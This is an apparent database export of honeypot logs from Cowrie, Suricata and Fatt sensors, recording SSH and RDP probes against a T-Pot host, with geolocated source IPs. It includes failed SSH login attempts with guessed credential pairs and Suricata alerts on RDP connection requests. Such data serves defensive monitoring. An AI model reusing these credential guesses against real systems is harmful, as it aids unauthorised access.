20652	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:05:26.322243+03	2021-09-20 14:15:02.648613+03	{"_id": "dwXhAnwBvYTbRNuE1fp7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.login.failed", "message": "login attempt [dj/dj] failed", "session": "09cb136133d8", "@version": "1", "password": "dj", "username": "dj", "timestamp": "2021-09-20T11:05:26.322243Z", "@timestamp": "2021-09-20T11:05:26.322Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20653	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:20.869398+03	2021-09-20 14:15:02.650613+03	{"_id": "RgXhAnwBvYTbRNuEvfrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "157.245.53.4", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51858, "timestamp": "2021-09-20T11:05:20.869398", "@timestamp": "2021-09-20T11:05:20.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20654	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:05:20.867994+03	2021-09-20 14:15:02.651613+03	{"_id": "SgXhAnwBvYTbRNuEvvpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "f93aeec3985f", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:05:20.867994Z", "@timestamp": "2021-09-20T11:05:20.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20655	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:05:21.077912+03	2021-09-20 14:15:02.652612+03	{"_id": "TgXhAnwBvYTbRNuEwfof", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:05:20.689079+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1183256694260663, "payload": "AAADVAUUJuVIup/5TwBUGPhiU28tqQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADq8vTrXg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51858, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:05:21.077912Z", "@timestamp": "2021-09-20T11:05:21.077Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..&.H...O.T..bSo-.....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.................^"}}	1	\N	\N	alert	\N	\N
20656	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:05:21.077912+03	2021-09-20 14:15:02.653613+03	{"_id": "UAXhAnwBvYTbRNuEwfq0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 51858, "dest_port": 22, "timestamp": "2021-09-20T11:05:21.077912", "@timestamp": "2021-09-20T11:05:21.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20658	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:05:21.901035+03	2021-09-20 14:15:02.657613+03	{"_id": "UwXhAnwBvYTbRNuEwvo6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [developer/passw0rd] failed", "session": "f93aeec3985f", "@version": "1", "password": "passw0rd", "username": "developer", "timestamp": "2021-09-20T11:05:21.901035Z", "@timestamp": "2021-09-20T11:05:21.901Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20659	222.187.254.41	109.199.241.180	Suricata	2021-09-20 14:05:22.429634+03	2021-09-20 14:15:02.658613+03	{"_id": "VwXhAnwBvYTbRNuExfoJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "222.187.254.41", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.187.254.41", "dest_ip": "192.168.20.116", "flow_id": 401078725190497, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 11104, "dest_port": 22, "timestamp": "2021-09-20T11:05:22.429634Z", "@timestamp": "2021-09-20T11:05:22.429Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20660	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:05:25.795076+03	2021-09-20 14:15:02.660613+03	{"_id": "cQXhAnwBvYTbRNuE0frd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "132.148.165.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56042, "timestamp": "2021-09-20T11:05:25.795076", "@timestamp": "2021-09-20T11:05:25.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20661	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:05:33.000663+03	2021-09-20 14:15:02.661612+03	{"_id": "fQXiAnwBvYTbRNuEC_pi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:04:31.498910+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 788985135733982, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 60548, "timestamp": "2021-09-20T11:05:33.000663Z", "@timestamp": "2021-09-20T11:05:33.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20662	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:05:41.171005+03	2021-09-20 14:15:02.662612+03	{"_id": "hAXiAnwBvYTbRNuED_pK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:05:40.786864+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1800819305611696, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 56643, "timestamp": "2021-09-20T11:05:41.171005Z", "@timestamp": "2021-09-20T11:05:41.171Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
20663	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:05:41.486073+03	2021-09-20 14:15:02.663613+03	{"_id": "hQXiAnwBvYTbRNuED_pL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:05:40.786864+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1800819305611696, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56643, "dest_port": 3389, "timestamp": "2021-09-20T11:05:41.486073Z", "@timestamp": "2021-09-20T11:05:41.486Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20664	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:05:41.11816+03	2021-09-20 14:15:02.664613+03	{"_id": "hgXiAnwBvYTbRNuED_pN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:05:40.786864+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1800819305611696, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56643, "dest_port": 3389, "timestamp": "2021-09-20T11:05:41.118160Z", "@timestamp": "2021-09-20T11:05:41.118Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20665	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:05:41.11816+03	2021-09-20 14:15:02.666613+03	{"_id": "hwXiAnwBvYTbRNuED_pO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:05:40.786864+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1800819305611696, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56643, "dest_port": 3389, "timestamp": "2021-09-20T11:05:41.118160Z", "@timestamp": "2021-09-20T11:05:41.118Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20666	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:05:41.486073+03	2021-09-20 14:15:02.667613+03	{"_id": "iAXiAnwBvYTbRNuED_pO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:05:40.786864+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1800819305611696, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 56643, "dest_port": 3389, "timestamp": "2021-09-20T11:05:41.486073Z", "@timestamp": "2021-09-20T11:05:41.486Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
20667	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:05:41.11816+03	2021-09-20 14:15:02.668614+03	{"_id": "iQXiAnwBvYTbRNuEEPoJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 56643, "dest_port": 3389, "timestamp": "2021-09-20T11:05:41.118160", "@timestamp": "2021-09-20T11:05:41.118Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
20668	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:05:20.865259+03	2021-09-20 14:15:02.669613+03	{"_id": "SwXhAnwBvYTbRNuEvvpV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:51858 (192.168.176.2:22) [session: f93aeec3985f]", "session": "f93aeec3985f", "@version": "1", "protocol": "ssh", "src_port": 51858, "dest_port": 22, "timestamp": "2021-09-20T11:05:20.865259Z", "@timestamp": "2021-09-20T11:05:20.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
